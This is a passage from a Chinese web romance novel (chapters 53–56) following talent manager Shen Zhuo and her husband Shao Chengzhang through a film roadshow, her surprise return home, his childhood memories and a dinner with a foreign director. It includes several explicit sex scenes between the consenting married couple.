“好了好了，不准你想关司予的事了。”邵成章出声打断她的思考。 他躺下，轻捏着她的下巴让她转向他，“再想他我生气了。” 沈灼有点无奈：“你怎么这么小心眼？” “我小心眼怎么了，我要是大方那就说明我们的感情岌岌可危了。” “行行行，你全是理。”沈灼笑了下，窝进他怀里，拍了拍他的大臂顺顺毛，“好了，不想他了，睡觉吧。” 邵成章应了声，下巴蹭蹭她的额头，落下了一个晚安吻。 第53章 因为关司予的事，沈灼这几天总是心不在焉，一得空就忍不住寻思，可是自己又想不出个所以然来，如此反复，搞得她十分烦躁。 不过关司予在剧组之后几天的拍摄还是很顺利，他杀青当晚剧组还准备了鲜花和蛋糕，她还收到了陈毅发来的关司予手捧鲜花和导演拥抱的合照。 关司予隔日返回A市，沈灼让他休息一天之后再来公司，明确接下来的行程和通告。 再见到他，沈灼心情十分复杂。人免不了好奇心，且总是在作祟，但她知道这是关司予的个人隐私，虽然对艺人而言，他们也没什么隐私可言。 这就造成，沈灼每次看他，她总是一副欲言又止的样子。 “沈灼姐，你到底怎么了？”关司予察觉出来沈灼一上午频频卡顿，不在状态。 他疑惑地问：“是我哪里还有什么问题吗？” “没有，没什么……”沈灼尴尬地笑了下，又忍不住问，“司予啊，你坚持出演《雾灯》真的是因为步繁吗？” 关司予微微一愣，没想到她怎么会提到这个，“是啊。”他温和地笑笑，“繁姐演技这么好，和她搭戏应该能学到不少，怎么了？” 沈灼笑着摇摇头，“没什么，你这么想挺好的。” 她觉得自己有点大惊小怪了，就算如她所想，关司予真的喜欢关昕，可这份感情终将不会被承认。 她打赌，关老爷子是绝对不会允许亲孙子和养孙女在一起的吧，而且关昕这么多年在国外，可能早有恋人或者成家，说不定只是关司予的单相思而已。 这种事只要不扒出来，关司予就是安全的。 沈灼整理好情绪，将之后的安排和行程给他捋了一遍。 七月份注定是忙碌的，隔天沈灼就要带着关司予开始《南方没有雾》的路演宣传，已经定下了八个城市，每天都要飞不同的地方，参加2-3场电影映后交流。 回来之后就是安托万的试镜，好在试镜地点定在A市，抽空沈灼还要和几个高奢品牌谈他的代言，协调杂志拍摄和采访，要一直忙到八月她才能歇一歇。 邵成章知道她即将出差十天后十分不满，但他又不敢明说，这样显得自己很不懂事，不识大体，于是只好在书房默默坐着生闷气。 沈灼收拾好行李之后才后知后觉，今晚邵成章好像都没和她说几句话。她无奈地扶着额头，今晚又得哄人了。 她直奔书房，在门口探头探脑，确认邵成章没有在工作之后走了过去。 邵成章坐在书桌后看书，但是一晚上都没翻过三页，见沈灼走近，他本放在桌子上的书直接举起来，挡住了他的脸，不去看她。 沈灼见他这样，忍不住笑了，怎么生气也这么可爱呢。 “邵成章。”沈灼喊他，邵成章不为所动。 “宝宝。”依然无动于衷。 “老公～”沈灼扬了个调子，听着声音娇娇的，她自己都快起鸡皮疙瘩了。可邵成章竟然还是一副听而不闻的样子。 殊不知把脸挡起来的他抿起唇，一直在克制着想要上扬的嘴角。 嘿——沈灼也不惯着他，走到他身旁，抬手抽走了他捧着的书，将椅子转了个方向，正对着她。 “不准看书了，看我。”她命令道。 邵成章抬眼看向她，说：“你好霸道。”说完又移开视线。 “我就霸道了怎么了？你是第一天才知道吗？”沈灼将扶手抬了上去，长腿一跨，面对面坐在他的腿上。 怕她坐不稳，邵成章双手下意识就扶住她的后腰，尽管他还偏着头，一直避开她的视线。 沈灼被他的小动作搞得心软软，她双手掰过他的脸，强迫他看着她。 “我看看，这是谁家的小狗生气了，嗯？”沈灼笑看着他。 “我才不是小狗。”邵成章反驳道。 沈灼刚想说怎么不是了，却又听他道：“小狗还要主人天天带他出去遛呢，你一走就要离开十天，不管不顾的，谁家这么养小狗啊！” 她一怔，然后哈哈笑起来，他怎么是这么想的啊。这么听起来，好像他可怜得连小狗都比不上了。 沈灼手捏上他软软的耳垂，轻轻揉着，不停地哄着：“哎呦，怎么说得这么可怜呢？” 邵成章哼了一声：“我看你就是故意的。” 沈灼好奇问：“我怎么了？” “刚领证的时候，也没见你出过几次差，现在在一起了，你隔三差五就出差，每次都还去这么久。”邵成章皱了下眉，越说越伤心，“你就是故意的。” “那也不能这么说啊，你上次出差也一周呢。” 邵成章反驳：“那我就一次……而且你当时还和我冷战……”越说声音越小，有点没底气了。 “好好好，不说之前了。”沈灼搂着他的脖子，“换个角度想，这不是说明和你在一起之后，我的事业也变好了吗，出差说明有新项目啊！而且Dreamora最近股价也一直涨，我旺你你旺我啊，我们两个就是很棒很棒的正缘关系！” “你这张嘴就会说好听的。”邵成章都不知道她是怎么能把这些联系到一起的。 “那你也太小看我了吧，我不仅会说，我还会做呢。”沈灼膝盖撑在椅子边缘，直起身来，往前移了移，两个人的距离更近了，沈灼没完全坐下去，只是贴着布料在那里蹭着。 邵成章瞬间乱了呼吸，他丝毫经不起沈灼撩拨，不争气地又有了反应。 可是沈灼是他老婆，对自己老婆有反应又什么争不争气之说呢。 邵成章喉结一动，明知故问：“做什么？” 沈灼在他耳边吹气：“抱我去浴室。” 邵成章抱着她走进浴室，将她放在盥洗台上，她却直接滑下来，将他摁在墙壁上，下了命令：“没有我的允许，你不准动。” “老婆……” 沈灼伸出食指压在他的唇上，抬眼厉色地看着他，“嗯？”喉间溢出不容置疑地一声调。 邵成章垂眸看着她，乖乖地点了下头。 沈灼这才笑了，食指按压着他的唇峰然后缓缓地移到了嘴角，踮脚奖励了他一口，“真乖。” 她一颗一颗解开他衬衫的扣子，露出精壮的胸膛，“咔哒”一声，是腰带卡扣的声音。层层衣物剥落，只剩最后一层。 而她还穿着整齐，这次衣冠楚楚的人是她。 沈灼抬手搂住他的脖子往下拉了点，让她稍微一仰头就可以亲到他。 她回忆着他对她那样，从肋骨开始，向上打着圈。 邵成章居然有点紧张，整个身子绷了起来，胸膛都硬邦邦的。 沈灼亲着亲着就笑了，故意挑逗他：“老公啊，放松点，嗯？” 似曾相识的感觉，邵成章又觉得他坠入了那张很软很软的网里，沉迷其中，恨不得那张网永远这样裹着他，裹得紧紧的，永远都不要松开。 他忍不住深吸了一口气。 沈灼另一只手打开了旁边的淋浴，水流从莲 蓬头里哗哗向外流，她原本干燥的手心也变得湿润的了。 是汗，还是别的什么？ 没几秒，两个人站在花洒之下，身上裹满了香香的白色泡泡，冲洗干净，彼此的身上有着相同的味道，是沈灼很喜欢的木质调。 沈灼低头看了一眼，见邵成章还支棱着，明明刚才洗的时候就已经帮他一次了，怎么还不满足呢。 不过沈灼也不满足，她都还没开始呢。 邵成章无视自己，抽过浴巾想先帮沈灼擦干身体，没想到浴巾又被她扯过去随手一扔，他惊讶地看了她一眼，却见沈灼冲他暧昧地笑了。 她说了她不仅会说，还会做。 就像现在这样。 邵成章整个人僵在那里，他被眼前场景深深地刺激到了，不管是生理上还是心理上。 “别……” 沈灼抬起头来，一双水汪汪的眼睛望着他，她的脸颊鼓鼓的，含混不清地发出一声婉转的声调，意思是她不要。 她毫无技巧，只好笨拙地乱来。 让他疼得倒吸凉气又让他爽得头皮发麻。 沈灼是他的温柔乡，是他的乌托邦。 他已经没办法进行思考了，下意识扶住她，拱着动着。沈灼哼出的声音都变了调，她感觉喉咙像是随时要被捣穿了。 终于——邵成章松开手。 沈灼长时间跪着，膝盖磨得痛，被拉起来的时候几乎都站不稳。 他恨不得把他的所有所有都献给她。 沈灼简直不敢相信，原来自己也可以做到这样。这大概是她这辈子目前为止，做过最出格的事情了，可她意外还觉得不错。 她喜欢看他克制着自己，嘴里只能喊她的名字缓解内心的躁动，喜欢看他失控，在忍不住的时候喘着粗气。 是她支配了他，是她掌控了他，是她占有了他。 只是可惜，这个角度，她看不到他意乱情迷，动情的样子。 沈灼抬手在腰间抹了两下，沾满黏腻东西又抹在他的身上，她贴上去，得意地问他：“你喜欢吗？” 邵成章深深地望着她，眼里是化不开的情潮与渴望。 他哑声道：“我想要你。” 邵成章打开了花洒，又带着她冲洗一番。 浴室，经过的岛台，沙发，最后回到卧室。 他不管不顾，像是疯了一样，似乎是要把未来十天的次数在这一晚上全都做回来。 第54章 关司予主演的《南方没有雾》依旧是现实题材，表面是三个青年男女的爱情故事，实质讨论的是阶级关系，冲这个题材，注定了票房不需要抱太大的期待，这个是为冲奖去的。 不过因为前一阵关司予维护原剧本一事，算是一波小预热了，没想到场场路演的票都卖光，首映之日票房破亿，业内APP票房预测竟然超过十亿，简直超出沈灼好几倍期待。 前三天，沈灼几乎是全程陪同，她带着关司予和团队每天七八点赶到机场。在机场上她的工作也几乎不停，笔记本放在腿上，噼里啪啦敲得哒哒响。 他们需要在中午之前到达下一个路演城市，吃过午饭，关司予做个简单妆造然后出发去电影院。晚上的映后交流早则九点半，晚则十点多，一切看现场观众的热情程度。 沈灼会记下观众的相关问题，如果是之前没有准备过的，她就需要想好补充回答，以免下次提问到。等一行人回到酒店基本也就十一点了，沈灼再额外处理一下其他的工作，凌晨一点能收工算是早的。 她忙，邵成章也忙。两个人每天聊天次数也屈指可数，不是她在赶行程，就是他要开会。 终于第四天的晚上，沈灼因为要和宣传开会碰一下杂志内容，便留在酒店里，十点半结束后，她便给邵成章发了条消息。 邵成章很快回复：“今晚结束得这么早？” 沈灼：“嗯，要开会没去路演。” 邵成章：“视频吗？” 沈灼笑着直接打了视频过去，这还是她这次出差后俩人第一次视频电话。 接通之后，两个人都没有先开口说话。 邵成章细细地看着她，眼神一点点从她的额头扫到她的下巴，最后回到她的眼睛。 沈灼眨了眨眼，问：“干嘛不说话？” “想看看你。”邵成章低声道，“我好想你……” 沈灼张了张嘴，想说什么，最后还是笑了下，什么都没有说。 随便聊了一会儿，邵成章电脑响起提醒声音，他还有个视频会议。 沈灼问他要不要挂电话，邵成章说：“没什么是你不能听的。”他还特意买了个支架，调整了一下位置，把手机放上去。 沈灼想那自己就先去洗漱好了，没想到邵成章放置的手机角度镜头正好对着他的斜侧脸，展示出他优越的下颌线和高挺的鼻梁，暖黄色台灯光像是给他打了一层柔光，让她简直移不开眼。 她觉得他简直就是故意的。 既然如此，那她就多看一会儿好了。 会议开始，沈灼听到邵成章用英语打了个招呼，她还是第一次听他讲英语。因为发音的方式不同，邵成章讲英语的声调比平时讲话还要再低沉一点。 听着，十分性感…… 她听了一会儿内容，好像是Dreamora要进军北美区，准备先开快闪店试水。对方正在向他汇报，邵成章时不时提问。工作中的邵成章和平时不一样，严肃，冷静，游刃有余，十分有反差感。 沈灼趴在床上，本来想着过一会儿就去洗漱，没想到听着听着就睡了过去，直到她迷迷糊糊听到好像有人在叫她。 她迷糊糊地睁开眼，发现手机屏幕里邵成章正看着她。 “诶，我怎么睡着了啊……”沈灼揉揉眼睛，“你开完会啦？” “嗯，起来洗漱一下再睡。” 沈灼头又埋下去，这几天连轴转，每天睡眠时间不足六个小时，她还真有点累，“不想动，你给我洗吧……” 邵成章喉结一滚，他巴不得呢，但现在只能哄着她先去洗漱。 他数着日子，独守空房的日子竟然还要再捱六天。 * 路演进展得比预期更顺利，随着宣传铺开和不少自来水的口碑推荐，票房节节攀升，连带着关司予也涨了不少粉。 原本沈灼计划全程跟完十天行程，但眼下局势已稳，加上有几个高奢品牌主动向关司予伸出橄榄枝，她得赶回去和时尚部、公关部的同事开会对接下一阶段的商务合作，于是临时改签了机票，提前两天返程。 出了机场，她拎着行李上了车，导航显示距离家不过四十多分钟，却在进市区时堵住了。 A市一直是个旅游城市，又正值暑期，游客自然多。晚风带着一点闷热，主干道两旁霓虹招牌一盏连着一盏，出租车缓缓挪动着，沈灼靠着车窗，眼睛望着前方看不见尽头的车队，不知怎的，心跳竟比平时快了几分。 邵成章并不知道她提前回来。 她想给他一个惊喜。 不知道他在干什么呢，会不会有饭局？还是还在书房工作开会，或者在影音室看电影，又或者是看在书？不知道她离开之前，他看的那本书看完了没有。 她想象着他看到她时那一下的错愕神情，嘴角便止不住扬起一抹笑。 下了车，沈灼站在电梯间，忍不住先打了视频过去探探情况。接通后，她笑着冲他晃晃手。 邵成章有点意外，现在还不到九点，他问：“今天工作结束得 这么早吗？” 沈灼点头：“是啊。”她将手机距离自己特别近，整个屏幕都是她的脸，看不出周围一点环境。 “今天有想我吗？”她挑着眉问。 邵成章颔首，笑着回答：“想啊，想见你，想亲你，想抱你，还想……” “还想什么？” 邵成章凑近了，嘘声说：“想吃草莓尖尖，想喝花蜜。” 沈灼一开始没反应过来，看着他嘴角不怀好意的笑才知道他说的是什么，禁不住皱眉瞪他一眼。 这种骚话，他是怎么能说出口的啊！ 沈灼下意识抬头看了看四周，还好没有人，还好她带着耳机…… 沈灼轻咳一声，“你想干的事也太多了，这样吧，允许让你向阿拉灼神灯许愿，说不定能实现哦。” 邵成章几乎脱口而出：“想干你。” 他的愿望简洁明了。 “……” 沈灼摇头：“这个愿望神灯说不行，换一个。”是真的不行，因为沈灼的生理期到了，想做也做不了。 邵成章很认真的想：“那要你回来，请神灯立刻、马上将沈灼送回家吧。” 沈灼又摇摇头，她憋着笑说：“这个也有难度啊。” 邵成章嘟囔着：“那这神灯能实现什么愿望？” 她伸手按亮了电梯，电梯门开，她说自己先上电梯。 摁亮楼层，沈灼抬头看着跳动的数字，胸口感到怦怦的震感。 达到22楼，沈灼走出电梯，听到邵成章问她是回酒店吗，她抿着笑点点头，她不敢在电梯间说话，怕被他发现。 大拇指贴上指纹锁，电子门开，沈灼轻手轻脚地提着行李进门，她连拖鞋都没换，尽量不让自己弄出动静，悄声地走过去。 视频里的邵成章坐在书房，离着门口有点距离，隐约听到了“咔哒”一声，但他并没有多想。 下一秒，一道自己十分想念的声音突兀地从书房门口响起—— “突击检查！” 手机里的声音和现实先后响起，他猛地抬头，眼睛瞬间睁大，盯着在门口站着的沈灼，怀疑自己出现了幻觉。 “你怎么……”他声音一时发涩，随后反应过来，一下站起身，脸上笑意止都止不住，“你怎么提前回来了？” “不是有人刚刚许愿，让我回来吗？”沈灼张开手臂，挑着笑看他。 邵成章愣了两秒，快步上前将她一把搂进怀里，紧紧地抱住，“好想你……” 沈灼笑说：“欸，你除了这句还能说点别的吗？” 邵成章也笑了。 沈灼松开他，四下打量了一圈，装模作样地环顾房间：“来让我看看，家里有没有金屋藏娇。” 邵成章眼角带笑：“我要是藏，也只会藏你一个，哪儿也不让你去了，省得让我天天惦记。” 沈灼嘿嘿笑了两声，又贴在他怀里，“怎么样，是不是该给阿拉灼神灯一个五星好评。” 他嗓音发沉地回答：“必须要。” 她在他怀里仰起头，笑眼盈盈，邵成章俯身亲在她唇上，给了她一个热烈又缱绻的吻。 邵成章还有点工作，让沈灼先去洗漱休息，等他忙完回到卧室，发现沈灼已经睡着了。手机搁在枕边，屏幕亮着，播放着刚才没看完的视频。 他走过去把视频退出，将手机搁在床头柜上，借着柔和的床头灯光，他低头看着她，眼神温柔得几乎要化出水来。 沈灼这几天实在是累，眼下已经有了淡淡乌青，邵成章心里泛起一阵心疼。 他掀开被子躺上床，身子微微往她那边靠了靠。感应到身后有人，沈灼有点要醒的迹象，她下意识咕哝着喊了一句他的名字。 “嗯，我在呢。”邵成章轻轻应了声。 沈灼毫无防备地拱了拱身子，钻进了他的怀里，一夜好眠。 * 翌日是周六，沈灼醒了之后简单处理了下工作，等再看时间发现已经十一点半了。 来月经的时候总想吃点味道重的，沈灼此时就特别想吃泰餐。 她看了看最近的泰式餐厅，原本十分钟的路程直接一整个大堵车，估计到店还要等位，沈灼决定自己做。她做绿咖喱鸡和打抛饭还是很拿手，就是需要现买一些原材料。 邵成章坐在客厅看书，阿瑞斯趴在主人身上晒太阳。见沈灼忙完出来，他问她饿不饿，他去做饭。 “今天中午我来做吧，想吃泰餐了。”沈灼走过去，她穿着一袭琉璃蓝吊带睡裙，没穿胸衣，小尖尖若隐若现。 邵成章目光一沉，他把阿瑞斯放在地上，伸手拉过沈灼，让她侧坐在自己身上。 邵成章说：“我都行。” “你现在饿不饿，我刚下单的食材，还得二十分送到，估计等我做完得要一点了呢，你要不要先吃点垫一下？”沈灼单手搂住他的脖子。 邵成章对上沈灼的视线，“现在不是就有能吃的吗？” “什么？”沈灼好奇问。 邵成章有他自己的餐前甜品，还是现成的，甜品自己送上门来的。 他没回答，直接用行动告诉她。 “哎！”沈灼忍不住惊呼一声。 一块草莓奶油蛋糕，雪白的奶油坯体上面会有一颗熟透的红色小草莓。奶油坯体松香绵软。有时候邵成章会先大口大口地吃掉奶油，再去品尝草莓尖儿，因为这里是最甜的。有时候特别想要，也会直接草莓混着奶油一起吃。 “嗯……”沈灼有点喘，单手捏住他的后颈，跟着他，时而重，时而轻。 小腹忍不住颤栗，她拱起腰却被大手撑着后背无处可退。 隔着一层，小尖儿也起来了，邵成章感觉到了。 吊带裙上有两处地方，因为被洇湿润透了，紧贴着肌肤，勾勒出几分情。色意味。邵成章带着坏心思，伸出食指和拇指，用指腹在那两处颜色深的地方摩擦。 沈灼被他逗得一阵酥麻，热流从小腹喷涌而下，她感觉自己都要“血流成河”了。 她抬手将他的手挥开，力道稍重，整个人没坐稳身子往后一晃，下意识撑在他的胸口，却感觉手掌之下硌硌的。 “这是什么？”沈灼平复好呼吸，转头问他。 “你要不要自己看，嗯？”邵成章语气轻佻，尾音上扬，薄唇因为刚刚的缠绵水亮红润，一双深邃眼睛更是灼灼地看着她。 他穿的衬衫本来就没系到顶，敞开了两颗，似乎没有发现什么，沈灼疑惑着又往下解开两颗扣子，看到一丁点细闪之后，她就知道是什么了。 那是一条挂脖的金属胸链，十分精致。 此刻正被邵成章穿戴在身上。 沈灼愣了两秒，然后笑出了声，她实在是意外极了：“不是，你什么时候买的啊？” 她怎么也想不到邵成章会准备这种东西。 “在你出差的时候。”邵成章眼神一瞬不瞬地盯着她，观察她的反应，“本来想等你回来给你一个惊喜的，没想到你先给我了一个。” 从他脖颈处垂下，一道Y字型的细链在他胸膛间分叉而落，贴着肌肉线条坠着，沈灼低头，指尖轻轻拨弄着那串胸链。 “喜欢吗？”他声音沉哑又带点蓄意的挑衅。 沈灼没回答，唇角却抑制不住地翘起来。 不敢想这东西带在他身上，跟着他的节奏摇摇晃晃，该有多性感。 她第一次觉得大姨妈不懂事，来得太不是时候了。 第55章 二十分钟后，门铃响，沈灼如梦初醒，身子一激灵。刚才侧坐的姿势已经改成坐怀抱，她推开邵成章。 齿尖还轻夹着没松口，小尖儿被抻拽着，她疼得“嘶”了一口，邵成章这才松开。 没人去开门，他们这个样子实在是太…… 邵成章的衬衫已经解开，露出整片胸膛，上面的胸链坠子还微微晃着。再看沈灼，原本在膝边的裙摆被堆到腰间，侧边拉链拉到了底，浑身上只要腰腹那里遮挡着。 前身一片莹莹水光。 门铃再次被摁响，邵成章丝毫没有要起身 的打算，沈灼佯怒着瞪他一眼，和他抱怨：“你快去呀！” 邵成章不应，他心满意足，慢条斯理地开始系衬衫。这时候沈灼手机响起来，她脸色绯红，气息还有点喘，邵成章手一捞帮她接了。 他告诉公寓管家，把东西放在门口就好。 邵成章搂紧她，身子一俯，将茶几上的湿巾和纸巾够了过来，他不紧不慢地先抽了张湿巾，帮她把水渍擦掉。 湿巾碰到皮肤，凉丝丝的触感让她下意识往后躲了下，又被他扶住。邵成章低低笑着，沈灼脸又红了，别过视线不去看他。 湿巾擦完了又拿纸巾再擦一遍。 刚刚被粗粝舌面来回磨着，他看小尖儿似乎是有点肿了起来，邵成章轻轻围着擦都不太敢用力。 终于擦完，他还裹在手里掂了掂。 “你烦不烦！”气得沈灼直接一拳捣在他胸口。 邵成章顺势倒在沙发上，笑说：“不烦，你可喜欢了。” “放屁！”沈灼心虚地反驳着，还不忘骂他一句，“你不要脸！” “嗯，和老婆要什么脸呢？”邵成章说着伸手帮她调整好肩带，拉链拉上，“有首诗怎么说的来着，‘生活简单，思想龌龊，每天除了干你就是干活’。” “……”沈灼无语死了，双手故意地在他腹肌上用力一撑，邵成章没准备，被摁的直接闷哼一声，她从他身上下来，挑衅地冲他哼了声。 邵成章低笑着起来，走到门口打开门将食材拿了进来。 沈灼去浴室清理一番，回到卧室换了一套分体的睡衣，在系上扣子之前，指尖顿了一下，想了想，转身又去衣柜里默默找了件薄款的内衣穿上了。 果然，就怕流氓有文化。 她换衣服的时间，邵成章已经将米蒸上了。食材一一拿出来，咖喱酱和打抛酱上都有做法，邵成章看了一眼，将上面需要的肉菜都洗好了。 沈灼换好衣服过来，舒心一笑，要不说邵成章体贴周到呢。她什么都不用说，他就能把需要的食材都已经准备好，切吧切吧就可以直接开火下锅了。 她上一秒说他烦，下一秒就能夸他棒。 邵成章按照她的要求将土豆、红薯、西蓝花等等切块，一边说：“又不是刚刚说我烦的时候了。” 沈灼在一旁眨着星星眼，“具体情况具体分析么。” 绿咖喱鸡其实很好做，咖喱酱炒香，倒椰浆，咕嘟之后加水下鸡肉和蔬菜，煮二十分钟，快要出锅时简单用盐和鱼露调味。 趁着煮咖喱的时候，邵成章又将豆角切好焯水，起锅倒油下蒜米和小米椒，炒香之后放肉末炒散，加入豆角炒熟再放打抛酱，炒匀调整咸淡，最后加入打抛叶翻炒出锅。 沈灼觉得邵成章简直就是做饭小天才。她刚刚是坐在岛台边上指挥的人，真正掌勺的还是邵成章。 他知道她生理期，长时间站着会不舒服，就要求自己来了，结果整个过程沈灼都没怎么说话，邵成章非常有条理地按照步骤都做对了，她只在最后出锅的时候尝了下味道。 两道菜色香味俱全，一出手就知有没有。 也懒得往餐桌上摆了，沈灼直接在岛台上摆好餐具，她暗示道：“这时候如果有一瓶冰汽水，不敢想该有多美妙。” 邵成章说：“不管美不美妙，你都休想喝冰的。有常温的，要不要？”他将盛好的米饭拿过来。 “那喝着都没味啊。”沈灼撇嘴，“我就喝一点？” “不行。”邵成章态度坚决，“你又忘了第一天来的时候怎么疼了？” “有布洛芬啊，而且已经第三天了……” “会有抗药性的知不知道？等情况严重了，吃一粒不管用还要加大药量，是药三分毒。”菜摆上桌，邵成章在她对面坐下。 好了伤疤忘了疼是人的天性，也是弱点。沈灼也知道他说的对，但是耐不住自己嘴馋。 沈灼杵着下巴望天花板，叹口气，“好好好，就这么点要求也不能满足我。” 邵成章挑眉看她，一脸“我看你怎么演”的表情。 沈灼拿起筷子挑米饭吃，不是一口一口的，而是挑起一粒一粒米送进嘴里，一脸生无可恋。 邵成章看她这没可乐喝的可怜样儿，还是先妥协了，“行吧，喝吧。” 沈灼那眼睛，瞬间睁大了。 “不过要和常温的掺着喝。” 沈灼点点头。 邵成章拿来两罐可乐，给她倒了一半冰的，又到了常温的进去，沈灼在一旁看着，生怕他常温的倒多了，还没到一半，她就“好了好了”赶紧让他停下。 夏天，一口凉气水下肚，可真是太爽了。 吃完饭，沈灼发饭晕，回卧室浅眯了一会儿，下午也懒得起来，直接窝在床上处理工作，邵成章则去了书房办公。 最近因为雅安区批地流程被卡，加上北美那边申请快闪流程和国内略有差异，又因为时差不能及时沟通，导致项目进度一再拖延，邵成章有些烦躁。 沈灼端着杯冷泡茶过来给他，见他正揉着眉心，眉骨下压出几分疲意，她关心地问：“太累了吗？” 邵成章闻言抬头，接过她手里的茶，说了声谢谢，“没什么，只是进度有些慢。” 沈灼走到他身后，抬手帮他揉着太阳穴，“其实我以为大老板都很闲呢，每天和人约约饭局喝喝茶，打打高尔夫，听听手下人汇报下工作，签签字就好了。” 反观邵成章，几乎什么事都亲力亲为。 邵成章笑了下：“好，那这就是我以后的目标，为了有时间多陪陪你。” “啧，你要努力就努力，不要说为了我好不好。”沈灼撇撇嘴。 倘若邵成章真的做到这一步，若是她因为工作没有时间，他反而可能会指责她。 毕竟沈灼从小到大，听迟女士说的最多的就是“为了你我怎样怎样”，如果没有做到她的标准和要求，她就大发雷霆，沈灼只会受到她的责怪和埋怨。 就像她每次看电影或者电视剧，其中一方追随另一方去到对方发展的城市，她只会下意识觉得完了。每当吵架，对方一定会提及当初，“我为了你来到这里……” 而她最爱的电影之一《爱乐之城》，结局塞巴没有跟着米娅去英国，虽然是遗憾可也是另一种圆满。他们都没有为彼此牺牲偏离自己的人生轨道，而是在这份爱中各自成长，实现了自己的梦想。 爱情，本该就是让人变得更好，而不是迁就牺牲自我，以爱为名，进行道德绑架。 听完她的想法，邵成章说：“你知道我不是这个意思，怎么一点都不浪漫啊。” “这种花言巧语的浪漫我才不要，外表是糖，里面说不定是砒霜呢。” “好吧，我换个说法，为了以后我可以有更多的时间和你在一起，随叫随到，我会努力工作的。” 沈灼这才露出笑意，眉眼舒展，“行吧，勉强接受。” “不过，Dreamora对我来说真的很重要，可能这辈子我都没办法放手。”邵成章拍拍腿，示意她坐上来。 沈灼早上已经“吃过亏”，现下挑眉，警惕地看着他。 邵成章保证不闹她了，她才坐上去。 “你不是问过我为什么想做潮玩吗？”邵成章低着头，一手搂住她，一手和她十指相扣，拇指摩挲着她的手背，“其实是因为我妈妈。” 沈灼微微一怔。 “单亲妈妈在那个年代，其实挺难的。社会并没有现在 这么包容和开放，带着孩子，一个女人走到哪儿，总会有人指指点点。因为这个，她在家附近找不到合适的工作，只能跑很远的地方打零工。” 这是她听他第一次讲小时候的事情，在他说第一句的时候，她就已经忍不住心疼了，相扣的手悄悄握紧了一些。 “男孩子么，总是喜欢要玩具，我记得特别清楚，有一次我在街边看到一个动漫玩具，吵着闹着要买。我妈当时工资不高，那玩具大概要她两天的工钱，但我哭闹得厉害，她也就咬咬牙买下来了。但是为了这笔钱，她不得不多找一份临时工。后来我明白了，原来玩具和妈妈是没办法同时拥有的。如果我要玩具，妈妈就不能早点回家。从那以后，我再也不敢要玩具了。” “邵成章……”沈灼鼻头发酸，轻轻唤着他的名字。 邵成章笑了下，接着说：“不过我妈妈是一个心灵手巧的人，当时我们住的地方，附近有个布料厂，她经常去收一些不要的碎布边角料，拿回来给我做布偶玩具，我喜欢什么人物，她就给我做什么。那个时候，我就想着，等我长大了，一定要开一家自己的玩具店，让她再也不用那么辛苦。后来妈妈出去工作，那些玩具们就陪着我玩，陪我睡觉，但是我没想到后来——” 他语气很平静，没有刻意煽情，可沈灼越听越心疼，眼眶早已泛红。她一下子抱住他，整个人窝进他怀里：“邵成章，你真的特别棒。你已经完成了小时候的梦想。我想妈妈看到现在的你，一定也特别骄傲。” “现在提起她，我已经没有那么难过了，只是有时候也会想，为什么她不能等我长大呢？可再一想，如果我没有回邵家，是不是也不会创办Dreamora，也不会遇到你了？” 他笑了笑，感慨道：“命运真的很奇怪，有时候觉得它冷酷无情，一下子把人硬生生推到悬崖边。但往后再看，又会发现它最终还是把你送到了你想去的地方。” 他望着沈灼，眼神温热而坚定：“得到的代价就是失去，所以正因为那些坎坷，我才有机会遇见你。也只有现在的我，才配得上现在的你。” 沈灼闷着头，眼泪已经“吧嗒吧嗒”地止不住往下掉了，滴落在他的衬衫上，一滴接着一滴，慢慢晕成了一小片水迹。 邵成章听见她啜泣的声音，拍了拍她后背，声音带着笑意：“怎么还哭了呀，这种时候不应该都是讲故事的人潸然泪下，听故事的人来递纸安慰吗？来，我看看哭成什么样了？” 沈灼头抵在他的肩窝，偏过去不让他看，她吸了吸鼻子，声音都软软的：“你干嘛呀，你就是故意讲这些让我心疼，惹我哭的是不是？” “是啊。”邵成章笑说，“想让你多心疼我一点。” “我还不够心疼你啊。”沈灼胡乱擦了两下眼泪，抬起头来，红着一双眼睛反驳道，“你去问问我妈和姜珺，我对哪个男的这样过。” “嗯，只能对我这样。如果某一天你也离开我，我——” “不会的，”沈灼打断他，坚定地说，“我不会离开你。” 从现在一直到生命走到尽头的那一刻，我都不会放开你的手。 如果你不相信，就让余生来证明。 第56章 安托万和团队月底抵达A市，他的新片尚未公开，选角也主要通过跨国影视公司在运作，像直接联系艺人团队的情况少之又少。 沈灼当然希望和对方建立更直接的沟通渠道。但她清楚，外国人不吃人情世故，太热情反而容易适得其反。于是她发了一封邮件，名义上是作为东道主请安托万品尝本地特色，也顺带可以给他介绍一些地域文化。国外人总是对中国的历史文化非常感兴趣。 不过她并没有抱着很大希望，毕竟还是有讨好嫌疑。 没想到，对方竟然回了邮件，答应赴约。 沈灼挑了一家老店，炸酱面是招牌。傍晚五点，她问林意晚上有没有安排，让她一块儿去吃个饭。 林意是她刚升职总监时候招进来的助理，她并不是相关专业出身，本身学的是英语，法语是第二外语。因为工作内容琐碎，虽然专业不对口，但面试的时候给她的感觉很好，还是被沈灼招进来了。试用期三个月大面上没什么问题，人踏实又仔细，不懂的也不会装懂，让她观感很好，直接留下转正，一直到现在。 “沈灼姐，咱们晚上和谁吃饭呀？”林意一听要出外勤，眼睛都亮了。 尤其是饭局，既能吃到好吃的，又能听八卦长见识。而且沈灼在饭局上应付这些简直行云流水，每次她都觉得如果有些尖锐话题如果问到她，她必然会哽在那，不知道说什么好，可沈灼总是春风化雨地化解开来。 她说什么林意都仔细听着，认真记着，但出了门，那些记忆就和剩饭残渣一样，被留在了饭桌上，她恨不得每次拿着个录音笔记下来。 “安托万，你知道这个导演吧。”沈灼问她。 “当然知道！”林意眼睛睁大，连珠炮似地说出好几部代表作。 沈灼点头笑了：“不错嘛。” 林意有点骄傲地说：“上学时看过他得奖的那部，后来听说司予哥要试镜，我就把他所有电影都补了。” “那正好，”沈灼看着她，“你英语法语都行，说不定能聊得来。” “啊？”林意惊喜瞬间变成惊恐，她还以为沈灼要让她帮忙谈项目，“我……我不行吧！” “聊聊天而已，又不谈工作，走吧。”沈灼笑着拍拍她肩，叫她收拾东西。 她们出发去了海朝居，最近的一家店在东城，沈灼这会儿出发路上还堵车，到店之后也不过五点半，都已经快坐满了，盲猜大部分都是游客。 安托万个子高，五十多岁，身材干瘦，一进门就格外显眼，沈灼站起来和他打招呼。 沈灼用英语介绍了一下林意是她的助理，然后眼神示意让林意做个自我介绍。 林意哪和这种国际知名大导演说过话，眼神闪烁，说话结巴，甚至还说错了好几个单词。但安托万很有耐心，温和地和她确认表达的意思，几句话后，她慢慢放松了些。最后，她用法语说了一句欢迎他来中国，希望他喜欢这个国家。 